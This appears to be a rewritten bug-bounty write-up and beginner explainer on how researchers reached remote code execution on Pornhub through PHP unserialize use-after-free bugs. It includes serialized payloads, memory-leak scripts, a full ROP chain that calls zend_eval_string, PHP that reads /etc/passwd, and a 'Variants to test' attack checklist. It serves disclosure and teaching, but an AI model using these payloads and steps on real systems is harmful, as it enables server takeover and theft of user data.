How we broke PHP, hacked Pornhub and earned $20,000
The researchers found that Pornhub passed a user-controlled POST parameter through PHP's unserialize function and reflected the result in a Set-Cookie header. By fuzzing unserialize they discovered use-after-free bugs in PHP's garbage collection, which they chained into a memory disclosure and a ROP-based remote code execution on the site.
Published on web.archive.org
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Pornhub runs a bug bounty programme on HackerOne with relatively high rewards, and that is what drew Dario Weißer (@haxonaut), cutz and Ruslan Habalov (@evonide) to the target. They took the perspective of an advanced attacker whose single goal was remote code execution, and they decided to attack what the site is built on: PHP.
While analysing the platform they found that the site called unserialize on user input. Several paths were affected, in particular the places where you could upload hot pictures, for example:
http://www.pornhub.com/album_upload/createhttp://www.pornhub.com/uploading/photo
In all of these cases a parameter named cookie was taken from POST data, unserialized, and afterwards reflected back through Set-Cookie response headers.
Setup
A locally compiled PHP was used for gadget hunting and verification. The team built a fuzzer specifically for serialised strings passed to unserialize. Running it against PHP 7 immediately produced unexpected behaviour, but that behaviour was not reproducible against Pornhub's server, so they assumed the target ran a PHP 5 version. Running the fuzzer against a newer PHP 5 produced more than 1 TB of logs without success before unexpected behaviour appeared again.
Pornhub used a customly compiled version of php5-cgi, which made it difficult to determine the exact PHP version and to learn anything about the memory layout of the PHP process. Pornhub's server used protection mechanisms like PIE and ASLR, randomising the image base of the process and its shared libraries.
Finding it
The first confirmation was simple. Sending an array through the cookie parameter came back reflected in a Set-Cookie header:
POST /album_upload/create HTTP/1.1
...
tags=xyz&title=xyz...&cookie=a:1:{i:0;i:1337;}
Response header:
Set-Cookie: 0=1337; expires
Sending a crafted array that contained an object showed that objects were unserialized too:
tags=xyz&title=xyz...&cookie=a:1:{i:0;O:9:"Exception":0:{}}
Response layout:
0=exception 'Exception' in /path/to/a/file.php:1337
Stack trace:
#0 /path/to/a/file.php(1337): unserialize('a:1:{i:0;O:9:"E...')
#1 {main}
On its own this looks like harmless information disclosure, but using user input on unserialize is a known bad idea. The standard exploitation technique is Property-Oriented-Programming (POP), abusing existing classes with magic methods to reach unwanted code paths. The team could not gather information about Pornhub's frameworks and PHP objects, and testing multiple classes from common frameworks all failed.
So they went after the unserializer itself. The core unserializer is complex, more than 1200 lines of code in PHP 5.6, and many internal PHP classes have their own unserialize methods. Supporting objects, arrays, integers, strings and references gives it a history of bugs and memory corruption, but there were no known vulnerabilities of that type for newer versions such as PHP 5.6 or PHP 7, and unserialize had already received a lot of attention. Auditing it was, in their words, like squeezing an already tightly squeezed lemon.
The fuzzer eventually produced non-printable data blobs of more than 200 KB, and a lot of time went into analysing them. From that they extracted a concise proof of concept of a working memory corruption bug: a use-after-free. The root cause was in PHP's garbage collection algorithm, a component completely unrelated to unserialize. The interaction between the two components only occurred after unserialize had finished its job, which made that first bug poorly suited for remote exploitation. After deeper analysis they found a similar use-after-free that looked promising for remote exploitation. The vulnerability links were PHP Bug ID 72433 (CVE-2016-5771) and PHP Bug ID 72434 (CVE-2016-5773).
Exploitation
Exploiting the promising use-after-free was considerably difficult and involved multiple stages. The goal was to compromise the CPU's instruction pointer, RIP on x86_64, which usually runs into two obstacles:
- The stack and heap, including any user input, and all other writable segments are flagged non-executable.
- Even with control of the instruction pointer you need a valid address of executable memory. Commonly this is libc's
system, but in a PHP context it is often enough to callzend_eval_string, which executes arbitrary PHP code without transitioning into other libraries.
The first obstacle is overcome with return-oriented programming (ROP), reusing executable fragments from the binary or its libraries. The second requires the correct address of zend_eval_string. A dynamically linked program is normally mapped at 0x400000, the standard load address on x86_64, so with the exact PHP executable you can look up offsets locally. Pornhub's customly compiled php5-cgi made that impossible, so the binary and its pointers had to be leaked.
Step 1: Preparing the memory disclosure
Exploiting use-after-frees in PHP follows a pattern: once you can fill freed memory that is later reused as an internal PHP variable, a zval, you can build vectors that read arbitrary memory and trigger code execution. The first step was to abuse the use-after-free to inject a zval representing a PHP string. The zval structure in PHP 5.6:
"Zend/zend.h"
[...]
struct _zval_struct {
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
The zvalue_value field is a union, which makes type juggling and type confusions easy:
"Zend/zend.h"
[...]
typedef union _zvalue_value {
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
zend_ast *ast;
} zvalue_value;
A PHP string is a zval of type 6, so the union is treated as a structure with a char pointer and a length field. Crafting a string zval with an arbitrary starting point and arbitrary length creates a powerful infoleak, triggered when Pornhub's setcookie() reflects the injected zval in the response header.
Step 2: Finding PHP's image base
Because of PIE and ASLR the binary is not at 0x400000, so the first difficulty was obtaining a single valid address to start leaking from. PHP's internal memory management helped: once a zval is freed, PHP overwrites its first eight bytes with an address to the previously freed chunk. The trick was to create an integer zval, free it, and use a dangling pointer to it to obtain its current value.
php-cgi implements multiple workers forked from a master process, so the memory layout does not really change between requests as long as you keep sending data of the same size. That allowed request after request, each leaking a different portion of memory by letting the fake zval string begin at different addresses. A heap address of a freed chunk alone gives no clue about the executable location, because the surroundings of that chunk contain no useful information.
To get interesting addresses they used their own trick. A serialised string like i:0;a:0:{}i:0;a:0:{}[...]i:0;a:0:{} as part of the overall unserialize payload forces unserialize to create many empty arrays and free them once it terminates. When initialising an array PHP consecutively allocates memory for its zval and hashtable, and one default hashtable entry for empty arrays is the uninitialized_bucket symbol. This produced a memory fragment similar to:
0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040
[...]
0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000
0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000
0x7ffff7fc3030: # <--------- This address was leaked in a previous request.
0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000
0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000
[...]
0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820
(gdb) x/xg 0x0000000000eae040
0xeae040 <uninitialized_bucket>: 0x0000000000000000
The address 0xeae040 is PHP's uninitialized_bucket symbol address and points directly into PHP's BSS segment. It occurs multiple times in the neighbourhood of the lastly freed chunk, because many empty arrays were freed and some hashtable entries remained unchanged in the heap.
With that symbol address they applied a page-wise backwards scan to find the ELF header:
$start &= 0xfffffffffffff000;
$pages += 0x1000 while leak($start - $pages, 4) !~ /^\x7fELF/;
return $start - $pages;
Step 3: Leaking interesting PHP binary segments
Only 1 KB of data could be leaked per request because of the web server's header size limits, while a PHP binary can take up to about 30 MB. At one request per second, leaking the whole binary would have taken about 8 hours and 20 minutes. Fearing that the exploitation process could be interrupted at any time, they implemented heuristics to guess and filter likely interesting sections in advance. They could resolve any structure referenced in the ELF's string and symbol table. Techniques like ret2dlresolve, which omit the whole leaking process, were not entirely applicable because they require crafting more data structures and knowledge about different memory locations.
To get the address of zend_eval_string you first find the ELF program headers at offset 32, then scan forward until you find a program header entry of type 2 (PT_DYNAMIC) to get the dynamic section. That section contains a reference to the string and symbol table (type 5 and 6), which can be completely dumped using their size fields to grab any function's virtual address. The hashtable (DT_HASH) can also be used to find functions more quickly, but it does not matter much since the tables can be traversed locally anyway. Besides zend_eval_string they were interested in further symbols and in the location of the POST variables, which were to become the ROP stack.
Step 4: Leaking the address of the POST data
The address of the supplied POST data is obtained by leaking more pointers from:
(*(*(php_stream_temp_data *)(sapi_globals.request_info.request_body.abstract)).innerstream).readbuf
It looks complicated, but you only need to dereference a few pointers with the correct offset to find the stdin:// stream, which points to the POST data inside the heap.
Step 5: Taking over the instruction pointer
The payload was adjusted to contain a fake object instead of the string zval, with a pointer to a specially crafted zend_object_handlers table. That table is essentially an array of function pointers:
"Zend/zend_object_handlers.h"
[...]
struct _zend_object_handlers {
zend_object_add_ref_t add_ref;
[...]
};
When creating a faked zend_object_handlers table, add_ref can be set up however you prefer. The function behind this pointer normally increments the object's reference counter. Once the fake object is passed as a parameter to setcookie, this happens:
#0 _zval_copy_ctor
#1 0x0000000000881d01 in parse_arg_object_to_string
[...]
#5 0x00000000008845ca in zend_parse_parameters (num_args=2, type_spec=0xd24e46 "s|slssbb")
#6 0x0000000000748ad5 in zif_setcookie
[...]
#14 0x000000000093e492 in main
According to s|sl[...], setcookie expects a string as its first and second parameter, with | marking the start of optional parameters. It tries to cast the object passed as the second parameter into a string, and _zval_copy_ctor executes:
"Zend/zend_variables.c"
[...]
ZEND_API void _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)
{
[...]
case IS_OBJECT:
{
TSRMLS_FETCH();
Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC);
[...]
}
This makes a call to the provided add_ref function with the address of the object as a parameter. The corresponding assembly:
<_zval_copy_ctor_func+288>: mov 0x8(%rdi),%rax
<_zval_copy_ctor_func+292>: callq *(%rax)
RDI is the first argument to _zval_copy_ctor_func, which is the address of the fake object zval. An object contains an element called obj of type zend_object_value:
"Zend/zend_types.h"
[...]
typedef struct _zend_object_value {
zend_object_handle handle;
const zend_object_handlers *handlers;
} zend_object_value;
So 0x8(%rdi) points to the second entry in _zend_object_value, the address of the first zend_object_handlers entry, which is the custom add_ref function. That explains the direct control over RAX as well.
Step 6: Leaking ROP gadgets
Setting up the add_ref pointer, or RAX, takes over the instruction pointer, but it does not ensure that all provided ROP gadgets are executed, because the CPU pops the next instruction's address from the current stack when returning from the first gadget. There was no control over that stack, so the stack had to be pivoted into the ROP chain. The next step was to copy RAX into RSP and continue ropping from there. Scanning a locally compiled PHP for stack pivoting candidates found this piece of code in php_stream_bucket_split:
<php_stream_bucket_split+381>: push %rax # <------------
<php_stream_bucket_split+382>: sub $0x31,%al
<php_stream_bucket_split+384>: rcrb $0x41,0x5d(%rbx)
<php_stream_bucket_split+388>: pop %rsp # <------------
<php_stream_bucket_split+389>: pop %r13
<php_stream_bucket_split+391>: pop %r14
<php_stream_bucket_split+393>: retq
This modifies RSP to point to the ROP chain provided in the POST data, chaining all gadget calls. According to the x86_64 calling convention the first two parameters of a function are RDI and RSI, so a pop %rdi and a pop %rsi gadget were needed too. Those are common and easily found, but there was no idea whether they existed in Pornhub's version of PHP, so their presence had to be verified manually.
Step 7: Verifying the presence of the required ROP gadgets
The infoleak vector allowed them to quickly dump the disassembly of php_stream_bucket_split and check whether the stack pivoting gadget was available remotely. Only little corrections of the gadgets' offsets were necessary. Checks confirmed that all addresses were correct:
my $pivot = leak($php_base + 0x51a71f, 13);
my $poprdi = leak($php_base + 0x2b904e, 2);
my $poprsi = leak($php_base + 0x50ee0c, 2);
die '[!] pivot gadget doesnt seem to be right', $/
unless ($pivot eq "\x50\x2c\x31\xc0\x5b\x5d\x41\x5c\x41\x5d\x41\x5e\xc3");
die '[!] poprdi gadget doesnt seem to be right', $/
unless ($poprdi eq "\x5f\xc3");
die '[!] poprsi gadget doesnt seem to be right', $/
unless ($poprsi eq "\x5e\xc3");
Step 8: Crafting the ROP stack
The final ROP payload that effectively executed zend_eval_string(code); exit(0);:
my $rop = "";
$rop .= pack('Q', $php_base + 0x51a71f); # pivot rsp
$rop .= pack('Q', 0xdeadbeef); # junk
$rop .= pack('Q', $php_base + 0x2b904e); # pop rdi
$rop .= pack('Q', $post_addr + length($rop) + 8 * 7); # pointing to $php_code
$rop .= pack('Q', $php_base + 0x50ee0c); # pop rsi
$rop .= pack('Q', 0); # retval_ptr
$rop .= pack('Q', $zend_eval_string); # zend_eval_string
$rop .= pack('Q', $php_base + 0x2b904e); # pop rdi
$rop .= pack('Q', 0); # exit code
$rop .= pack('Q', $exit); # exit
$rop .= $php_code . "\x00";
Because the stack pivot contained a pop %r13 and pop %r14, the 0xdeadbeef padding inside the remaining chain was necessary to continue with setting RDI. As the first parameter to zend_eval_string, RDI must reference the code to be executed, which is located right after the ROP chain. The exact same amount of data had to be sent between each request so that all calculated offsets stayed correct, achieved with different paddings wherever necessary. The next step was to trigger code execution by returning back into the PHP interpreter. Other techniques like return2libc are applicable as well, but create other problems that are easier dealt with when staying in PHP context.
Step 9: Returning into PHP
Executing arbitrary PHP code is one thing, viewing its output is equally important unless you want to deal with side channels. Usually php-cgi forwards generated content back to the web server for display, but wrecking the control flow that badly creates an abnormal termination of PHP, so the result never reaches the HTTP server. The fix was to tell PHP to use direct unbuffered responses, usually used for HTTP streaming:
my $php_code = 'eval(\'
header("X-Accel-Buffering: no");
header("Content-Encoding: none");
header("Connection: close");
error_reporting(0);
echo file_get_contents("/etc/passwd");
ob_end_flush();
ob_flush();
flush();
\');';
This allowed them to directly fetch every output the PHP payload generated without worrying about the cleanup routines involved when the CGI process sends data to the web server, and increased stealthiness by minimising the number of potential errors and crashes.
To summarise, the payload contained a fake object with its add_ref function pointer pointing to the first ROP gadget:

Final version of the crafted zval object
Together with the ROP stack provided over POST data, the payload did the following:
- Created the fake object, later passed as a parameter to
setcookie. - This caused a call to the provided
add_reffunction, giving program counter control. - The ROP chain prepared all registers and parameters as discussed.
- Arbitrary PHP code was executed by calling
zend_eval_string. - A clean process termination was caused while fetching the output from the response body.
Running the code gave a view of Pornhub's /etc/passwd file. Due to the nature of the attack they could also have executed other commands or broken out of PHP to run arbitrary syscalls, but using PHP was more convenient. They dumped a few details about the underlying system and immediately wrote and submitted a report to Pornhub over HackerOne.
Root cause
The two vulnerabilities were use-after-frees in PHP's garbage collection algorithm, a component unrelated to unserialize. The interaction between garbage collection and the unserializer occurred only after unserialize had finished its job in the first bug, which made it unsuitable for remote exploitation; the second, similar bug was remotely exploitable over PHP's unserialize function. The site called unserialize on user input: the cookie parameter was unserialized from POST data and reflected via Set-Cookie headers. PIE and ASLR randomised the image base, so the binary was leaked through the same use-after-free, and non-executable memory was bypassed with ROP. The report does not state which PHP version Pornhub ran exactly, only that it was a customly compiled php5-cgi and that they assumed a PHP 5 version.
Impact
On Pornhub the team gained remote code execution and, as they state, would have been able to:
- Dump the complete database of pornhub.com including all sensitive user information.
- Track and observe user behaviour on the platform.
- Leak the complete available source code of all sites hosted on the server.
- Escalate further into the network or root the system.
None of these things were done, and careful attention was paid to respect the scope and limitations of the bug bounty programme. The two PHP bugs, although in a very different PHP context, could be reliably and remotely exploited in an unserialize context too. The report notes that about 10 years had passed since unserialize's first weaknesses became apparent, and that many developers still believe unserialize is only dangerous in old PHP versions or when combined with unsafe classes.
Fix
Pornhub fixed the issue hours after the report by removing calls to unserialize. Both PHP bugs were submitted to bugs.php.net and fixed in PHP's security repository. The report's guidance is to never use user input on unserialize, not to assume an up-to-date PHP version is enough, and to avoid it or use less complex serialisation methods like JSON. It also advises updating PHP 5 and PHP 7 versions accordingly, since the newest versions contain the fixes.
Timeline
| Date | Event |
|---|---|
| 2016-05-30 | Hacked Pornhub and submitted the issue over HackerOne. Hours later Pornhub fixed the issue by removing calls to unserialize. |
| 2016-06-14 | Received a reward of $20,000. |
| 2016-06-16 | Submitted issues to bugs.php.net. |
| 2016-06-21 | Both bugs got fixed in PHP's security repository. |
| 2016-06-27 | Received HackerOne IBB reward of $2,000 ($1,000 for each vulnerability). |
| 2016-07-22 | Pornhub resolved the issue on HackerOne. |
Variants to test
- Look for parameters that are unserialized and reflected, for example through
Set-Cookieheaders. A positive result is a value you supplied coming back in a header, as withcookie=a:1:{i:0;i:1337;}returningSet-Cookie: 0=1337. - Send a serialised object through the same parameter, such as
a:1:{i:0;O:9:"Exception":0:{}}. A positive result is an error message or stack trace that showsunserializein the call path. - Where POP chains fail because framework classes are unknown, fuzz the unserializer itself with serialised strings, including large non-printable blobs. A positive result is unexpected behaviour or a crash that can be reduced to a proof of concept.
- On a target with a suspected use-after-free, try forcing many empty arrays with a payload like
i:0;a:0:{}i:0;a:0:{}[...]i:0;a:0:{}and leak memory around freed chunks. A positive result is a pointer into the binary's BSS segment, such as theuninitialized_bucketsymbol. - From a leaked symbol address, scan backwards page by page for the ELF header. A positive result is a leak beginning with
\x7fELF. - Verify candidate ROP gadgets remotely by leaking their bytes and comparing against the expected instruction encodings, as with
\x5f\xc3forpop %rdi; ret. - When output is lost because the process terminates abnormally, try unbuffered response headers such as
X-Accel-Buffering: no,Content-Encoding: noneandConnection: closefollowed byob_end_flush(),ob_flush()andflush(). A positive result is command output arriving in the response body.
What happened, in plain words
Three security researchers, Dario Weißer (@haxonaut), cutz and Ruslan Habalov (@evonide), spent their time attacking Pornhub, a large adult website. Pornhub runs a bug bounty programme on a platform called HackerOne: a company offers money to anyone who finds a security hole in its systems and reports it privately instead of abusing it. The rewards on this programme were relatively high, which is what drew the team in.
They set one main goal: remote code execution, usually shortened to RCE. That means making a computer that belongs to someone else run commands of your choosing, from your own machine, over the internet. It is roughly the difference between finding that a stranger's front door is unlocked and being able to walk around inside their house and use their appliances.
To get there they attacked the foundation of the site: PHP. PHP is a programming language used by a huge share of the web to build pages on the fly. When you open a page, the web server hands the request to a PHP program, the program produces HTML, and that HTML is sent back to your browser. If an attacker can make PHP run their own code, they effectively control the server.

Along the way they found two bugs in PHP itself, not just in Pornhub's website, and they were paid for those too. The short version:
- They gained remote code execution on pornhub.com and earned a $20,000 bug bounty on HackerOne.
- They found two use-after-free vulnerabilities in PHP's garbage collection algorithm.
- Those vulnerabilities were remotely exploitable over PHP's
unserializefunction. - They were also awarded $2,000 by the Internet Bug Bounty committee.
The starting point: a function that rebuilds data
To follow the rest of this article you need one idea: serialisation. When a program wants to store or send a complex piece of data (a list, a set of settings, an object with fields), it can turn it into a plain string of text. That is serialising. Turning the string back into the original data is unserialising. Think of flat-pack furniture: serialising is taking the wardrobe apart and putting the pieces and screws into a box with a parts list; unserialising is reading the parts list and rebuilding the wardrobe.
PHP has a function called unserialize that does the rebuilding. The danger is that the parts list is just text, and if an attacker controls that text, they control what gets rebuilt. The PHP manual page for the function is linked from the article, and the team detected the usage of unserialize on the website.
While analysing the platform they quickly detected the usage of unserialize on the website. Multiple paths were affected, everywhere where you could upload hot pictures and so on, for example:
http://www.pornhub.com/album_upload/createhttp://www.pornhub.com/uploading/photo
In all cases a parameter named cookie got unserialized from POST data and afterwards reflected via Set-Cookie headers.
Two terms need unpacking here. POST data is the part of an HTTP request that carries what you typed into a form: when you upload a photo and fill in a title, the browser sends those values in the request body, labelled by parameter names. A cookie is a small piece of text a website asks your browser to store and send back on every later request, typically used to remember that you are logged in. The Set-Cookie response header is how a server tells the browser to store a cookie. "Reflected" means the value the server received comes back out in the response, in this case inside that header.
So the site took a value called cookie from the form, rebuilt it with unserialize, and then wrote the result back into a Set-Cookie header. That round trip is the whole entry point.
First confirmation
The first test was deliberately boring. They sent a tiny serialised array and watched whether it came back:
POST /album_upload/create HTTP/1.1
...
tags=xyz&title=xyz...&cookie=a:1:{i:0;i:1337;}
Line by line:
POST /album_upload/create HTTP/1.1is the request line.POSTmeans "I am sending data in the body",/album_upload/createis the page being called, andHTTP/1.1is the version of the web protocol....stands for the other headers a browser normally sends (things like which browser you use); the article leaves them out.- The last line is the body: three form fields separated by
&.tags=xyzandtitle=xyz...are ordinary fields.cookie=a:1:{i:0;i:1337;}is the interesting one.
The value a:1:{i:0;i:1337;} is PHP's serialised form of an array. Read it as a sentence: a:1 means "an array with one element", the braces { } hold the elements, i:0 means "integer key 0", and i:1337 means "integer value 1337". So it describes a one-element list whose only entry is the number 1337.
The response header was:
Set-Cookie: 0=1337; expires
This says the server took the rebuilt array, turned it into a cookie named 0 with the value 1337, and asked the browser to store it. The expires part is where a lifetime would normally follow. The important fact is that a number the researchers chose came back out, which proves the input really goes through unserialize and the result really reaches the response.
Proving that objects are rebuilt too
Arrays are simple. The next question was whether the function also rebuilds objects, which are richer structures with their own behaviour. They sent a specially crafted array that contained an object:
tags=xyz&title=xyz...&cookie=a:1:{i:0;O:9:"Exception":0:{}}
a:1:{...}again means a one-element array.i:0;is the key, integer 0.O:9:"Exception":0:{}is a serialised object.Omeans object,9is the length of the class name that follows,"Exception"is the name of a class built into PHP (used for errors),0says the object has no properties, and{}is the empty property list.
The response layout was:
0=exception 'Exception' in /path/to/a/file.php:1337
Stack trace:
#0 /path/to/a/file.php(1337): unserialize('a:1:{i:0;O:9:"E...')
#1 {main}
- The first line shows the cookie value became the text of an exception, an error object, with a file path and a line number.
Stack traceis the list of function calls that led to the error, like the "you are here" trail on a map.#0is the innermost call:unserializewas called with the beginning of the researchers' string.#1 {main}is the outermost level, the main script.
This might strike as a harmless information disclosure at first sight: the site reveals a file path and confirms the call. On its own it looks harmless, but using user input on unserialize is a known bad idea, and the article links two classic papers on exploiting it.
Why the obvious attack did not work
The standard way to turn unserialize into code execution is called Property-Oriented-Programming, or POP. It does not attack PHP itself; it abuses classes that already exist in the application. Many PHP classes have special methods, called magic methods, that the language calls automatically at certain moments, for example when an object is converted to text or destroyed. If an attacker can rebuild an object of such a class with chosen property values, those automatic methods may run code paths the developer never intended. The comparison is a vending machine: you cannot open it, but if you press the right sequence of buttons, it dispenses something it was never meant to give you.
Unfortunately, it was difficult for the team to gather any information about Pornhub's used frameworks and PHP objects in general. Multiple classes from common frameworks were tested, all without success. Without knowing which classes exist on the server, POP is guesswork.
So they changed target: instead of abusing the application's classes, they went after the unserializer itself.
Going after PHP itself
The core unserializer alone is relatively complex: more than 1200 lines of code in PHP 5.6. Many internal PHP classes have their own unserialize methods. Supporting structures like objects, arrays, integers, strings or even references means a lot of bookkeeping, and PHP's track record shows a tendency for bugs and memory corruption vulnerabilities. But there were no known vulnerabilities of that type for newer PHP versions like PHP 5.6 or PHP 7, especially because unserialize had already received a lot of attention. Auditing it, the authors write, can be compared to squeezing an already tightly squeezed lemon.
Two ideas appear here. Memory corruption means a program writes to a place in memory it should not, so that data belonging to something else gets damaged or reinterpreted. A vulnerability is simply a weakness that can be abused. The team's question was whether the lemon had any juice left.
Fuzzing
To find an answer Dario implemented a fuzzer crafted specifically for fuzzing serialised strings which were passed to unserialize. A fuzzer is an automatic tester: it generates huge numbers of strange inputs, feeds them to a program, and watches for crashes or odd behaviour. It is like shaking thousands of different keys in a lock to see which one makes it click, instead of reasoning about the lock's pins.
Running the fuzzer with PHP 7 immediately led to unexpected behaviour. That behaviour was not reproducible when tested against Pornhub's server, so they assumed the site ran a PHP 5 version. Running the fuzzer against a newer version of PHP 5 just generated more than 1 TB of logs without any success. Eventually, after putting more and more effort into fuzzing, they stumbled upon unexpected behaviour again.
A terabyte of logs is an enormous amount of text to search through, which shows how rare the interesting cases were. Several questions had to be answered: is the issue security related? If so, can it only be exploited locally or also remotely? To complicate things further, the fuzzer generated non-printable data blobs with sizes of more than 200 KB. Non-printable means the bytes do not correspond to readable characters, so you cannot simply look at them; you need tools to inspect them.
What the odd behaviour turned out to be
A tremendous amount of time was necessary to analyse potential issues. After all, they could extract a concise proof of concept of a working memory corruption bug: a use-after-free vulnerability.
Use-after-free needs a small picture. When a program needs memory, it asks the operating system for a block, uses it, and gives it back. If the program keeps a pointer to that block and writes through it after giving it back, it is writing into memory that may already belong to something else. Imagine handing in your hotel key at checkout, then walking back into the room and moving the furniture: the next guest finds their room rearranged, or you find their luggage. In a program, this can let an attacker influence data that the program still trusts.
Upon further investigation they discovered that the root cause could be found in PHP's garbage collection algorithm, a component of PHP that is completely unrelated to unserialize. Garbage collection is the automatic cleanup that frees memory no longer in use, so programmers do not have to do it by hand. The interaction of both components occurred only after unserialize had finished its job. Consequently, it was not well suited for remote exploitation: if the dangerous moment happens after the request has been handled, it is hard to steer from the outside.
After further analysis, a deeper understanding of the root causes and a lot of hard work, a similar use-after-free vulnerability was found that seemed promising for remote exploitation. The two bugs were reported as:
- PHP Bug ID 72433, CVE-2016-5771
- PHP Bug ID 72434, CVE-2016-5773
A CVE is a public catalogue number for a known vulnerability, so that everyone can refer to the same bug unambiguously. The authors wrote separate articles about the discovery, the fuzzing write-up and one about breaking PHP's garbage collection and unserialize.
Exploitation: from a bug to running code
Even the promising use-after-free was considerably difficult to exploit and involved multiple exploitation stages. Since the main goal was to execute arbitrary code, they needed to compromise the CPU's instruction pointer, referred to as RIP on x86_64.
The instruction pointer is the CPU's bookmark: it holds the address of the next instruction to run. If you can set it to an address of your choosing, the CPU will start executing whatever lives there. x86_64 is the family of processors used in most servers and laptops; RIP is the name of that bookmark register on those chips.
This usually involves two obstacles:
- The stack and heap, which also include any potential user input, as well as any other writable segments, are flagged non-executable. The stack and heap are the regions of memory where a running program keeps its temporary data; writable means the program may change them. Modern systems mark them non-executable, meaning the CPU refuses to run instructions stored there, so an attacker cannot simply put code into a form field and jump to it.
- Even if you are able to control the instruction pointer, you need to know what you want to execute, that is, you need a valid address of an executable memory segment. It is common to call the libc function
system, which executes a shell command. In a PHP context it is often enough to executezend_eval_string, which usually gets executed when you writeeval('echo 1337;');in a PHP script, so it allows executing arbitrary PHP code without having to transition into other involved libraries.
libc is the standard C library that every such program uses; system is its function for running a command. zend_eval_string is PHP's internal function for evaluating a piece of PHP code given as text. Calling it is like having a translator on hand: you hand over a sentence in PHP and it is executed immediately.
The first obstacle is overcome with Return-oriented programming, ROP. Instead of injecting new code, you reuse small fragments of code that already exist in the program or its libraries, called gadgets, and chain them together. Each gadget ends with an instruction that returns to the next address on the stack, so by preparing a list of addresses you make the program execute your chosen fragments in your chosen order. The comparison is a Rube Goldberg machine built only from parts already in the room: you cannot bring new parts, but you can arrange the existing ones so that pulling one lever sets off the whole chain.
The second obstacle requires finding the correct address of zend_eval_string. Usually, when a dynamically linked program gets executed, the loader maps the process to 0x400000, the standard load address on x86_64. Dynamically linked means the program borrows code from shared libraries at start-up instead of carrying everything inside itself. If you somehow already obtained the correct PHP executable, for example by finding the exact package shipped by the target, you can just locally look up the offset for any function you want.
But Pornhub was using a customly compiled version of php5-cgi, which made it difficult to determine the exact PHP version and to get any information at all about the memory layout of the whole PHP process. php5-cgi is the program that runs PHP scripts when a web server asks it to. Customly compiled means the site's operators built it themselves from source with their own settings, so the team could not download the same file and compare.
Step 1: Preparing the memory disclosure
Exploiting use-after-frees in PHP usually follows the same rules. As soon as you can fill freed memory that later gets reused as an internal PHP variable, a so-called zval, you can generate vectors that allow reading from arbitrary memory as well as triggering code execution.
A zval is PHP's internal box for a single value: it records what type the value has (number, text, object) and where the actual data lives. If an attacker can plant a fake zval in memory that PHP later picks up, PHP will believe whatever the fake box says. A memory disclosure, or infoleak, is a way of making the program print memory it should not, which is how you learn addresses you need.
The first step was to abuse the use-after-free to inject a zval that represents a PHP string. The definition of the zval structure looks like this for PHP 5.6:
"Zend/zend.h"
[...]
struct _zval_struct {
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
Line by line:
"Zend/zend.h"names the source file this comes from. Zend is the engine inside PHP that executes scripts.[...]marks skipped lines.struct _zval_struct { ... };defines the layout of the box.zvalue_value value;is the actual content, described below.zend_uint refcount__gc;is a counter of how many places refer to this value, used by the garbage collector to know when it can be freed.zend_uchar type;records the type, for example number or string.zend_uchar is_ref__gc;is a flag used by the same bookkeeping.
Whereas the zvalue_value field is defined as a union, making type juggling and type confusions easily possible:
"Zend/zend.h"
[...]
typedef union _zvalue_value {
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
zend_ast *ast;
} zvalue_value;
A union is a box where several different shapes share the same space: only one of them is valid at a time, and the program decides which one by looking at the type field. If the type says "string" but the bytes were written as something else, the program reads them as a string. That mismatch is what the article calls type juggling or type confusion, and it is the same trick as a form with one field that can be read as either a phone number or a date depending on a checkbox.
Line by line:
long lval;is the shape for whole numbers.double dval;is the shape for decimal numbers.struct { char *val; int len; } str;is the shape for text: a pointer to where the characters start, and how many there are.HashTable *ht;is the shape for PHP arrays, which are hash tables, a structure that maps keys to values.zend_object_value obj;is the shape for objects.zend_ast *ast;is the shape for syntax trees, an internal representation of parsed code.
A PHP variable of type string is a zval of type 6. Consequently, it treats the union as a structure that contains a char pointer and a length field. So crafting a string zval with an arbitrary starting point and arbitrary length creates a powerful infoleak that gets triggered when Pornhub's setcookie() reflects the injected zval in the response header.
setcookie() is the PHP function that produces a Set-Cookie header. Because the site passed the unserialized value to it, the fake string was read from whatever address the attacker chose and printed into the response. That is the leak: you point at memory, and the website hands you its contents.
Step 2: Finding PHP's image base
Usually one can start by leaking the binary, which as stated before begins at 0x400000. A binary is the compiled program file. Unfortunately, Pornhub's server used protection mechanisms like PIE and ASLR, which randomise the image base of the process and its shared libraries. The image base is the address where the program is loaded into memory.
ASLR, address space layout randomisation, shuffles those addresses on every start so that an attacker cannot rely on fixed numbers. PIE, position-independent code, is the property that lets a program be loaded anywhere at all. Together they mean the team could not assume the program sat at 0x400000; they had to discover where it actually was. This has become the default as more and more distributions ship packages that enable position independent code.
The next challenge was finding the correct loading address of the binary. The first difficulty was to somehow obtain a single valid address to start leaking from. Here it helped to know some details about PHP's internal memory management. In particular, once a zval is freed, PHP overwrites its first eight bytes with an address to the previously freed chunk. So a trick to obtain a first valid address is to create an integer zval, free this integer zval, and finally use a dangling pointer to this zval to obtain its current value.
A chunk is a block of memory handed out by the allocator. A dangling pointer is a pointer that still refers to a block that has already been given back, the same idea as the hotel key from earlier. Because PHP writes a real address into the freed box, reading that box through the dangling pointer gives the attacker a genuine memory address to work from.
Since php-cgi implements multiple workers that simply get forked from a master process, the memory layout never really changes between different requests, as long as you keep sending data of the same size. Forking means the master makes identical copies of itself to handle requests. Identical copies start with identical layouts, so a leak from one request is still meaningful in the next. That is why they could send request after request, each time leaking a different portion of memory by letting the fake zval string begin at different addresses.
